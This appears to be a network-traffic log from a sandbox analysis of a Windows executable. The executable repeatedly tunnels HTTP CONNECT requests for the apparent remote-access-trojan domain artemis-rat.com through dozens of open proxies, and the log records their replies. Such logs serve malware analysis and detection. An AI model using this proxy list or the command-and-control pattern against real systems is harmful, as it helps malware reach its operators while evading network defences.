Mar 11, 2024 03:30:52.250914097 CET	736	IN	Data Raw: 30 02 86 1d 68 74 74 70 3a 2f 2f 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 74 30 32 06 03 55 1d 1f 04 2b 30 29 30 27 a0 25 a0 23 86 21 68 74 74 70 3a 2f 2f 63 72 6c 2e 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e Data Ascii: 0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0*H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1890	192.168.2.5	55166	45.11.95.165	5049	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.761899948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1891	192.168.2.5	53580	128.199.196.31	38832	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.768131018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.811305046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.905221939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1892	192.168.2.5	53624	41.254.53.70	1981	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.768131971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.811367035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.066178083 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1893	192.168.2.5	55170	194.247.173.17	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.768392086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1894	192.168.2.5	55172	43.133.74.172	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.784603119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1895	192.168.2.5	55171	212.31.100.138	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.826857090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1896	192.168.2.5	55174	8.219.228.100	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.827816963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1897	192.168.2.5	55173	45.11.95.165	5028	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.828234911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1898	192.168.2.5	53870	125.227.225.157	3389	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.828239918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1899	192.168.2.5	53760	192.252.208.70	14282	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.828489065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1900	192.168.2.5	54702	188.166.170.32	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.828797102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:15.159920931 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:15.972206116 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:16.868242979 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:18.628177881 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:22.148991108 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:29.316380024 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:43.396538973 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:12.836508036 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1901	192.168.2.5	55175	123.116.119.175	81	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.836891890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1902	192.168.2.5	55201	104.25.231.184	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.844285011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.998533010 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1903	192.168.2.5	55194	162.253.68.97	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.845602036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1904	192.168.2.5	55183	46.35.9.110	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.862692118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1905	192.168.2.5	55177	79.110.202.131	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.862847090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1906	192.168.2.5	54698	190.120.250.73	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.862976074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.905141115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.999330997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.092802048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1907	192.168.2.5	55176	31.170.22.127	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.863184929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1908	192.168.2.5	54216	112.30.155.83	12792	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.863645077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.821588993 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:50.115578890 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1909	192.168.2.5	54593	102.132.48.60	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.871108055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1910	192.168.2.5	55191	194.4.50.127	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.876390934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1911	192.168.2.5	55181	45.11.95.165	5047	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.897392035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1912	192.168.2.5	55184	8.217.143.187	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.897478104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1913	192.168.2.5	55180	93.90.212.2	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.924705029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1914	192.168.2.5	55212	172.67.209.12	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.926901102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.102104902 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1915	192.168.2.5	51693	177.153.33.94	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.931694031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.092444897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.202137947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.202193022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1916	192.168.2.5	55250	195.201.19.84	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.935340881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1917	192.168.2.5	53687	51.79.87.144	41230	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.942265034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1918	192.168.2.5	54149	72.49.49.11	31034	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.960963011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905071020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1919	192.168.2.5	55182	93.126.56.30	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.964027882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1920	192.168.2.5	51707	185.208.102.55	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.966078997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.092526913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.202147007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.202186108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1921	192.168.2.5	55187	221.231.13.198	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.966080904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1922	192.168.2.5	55185	222.223.103.232	7302	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.966608047 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:47.310465097 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1923	192.168.2.5	55213	38.162.25.2	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.979317904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.435564995 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1924	192.168.2.5	51014	117.160.250.163	9999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.980967045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.014518976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.971826077 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 02:30:50 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.
Mar 11, 2024 03:30:53.970778942 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 02:30:50 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1925	192.168.2.5	55217	23.19.244.109	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.981578112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1926	192.168.2.5	55215	44.190.9.65	48100	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.982561111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1927	192.168.2.5	55214	162.223.89.84	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

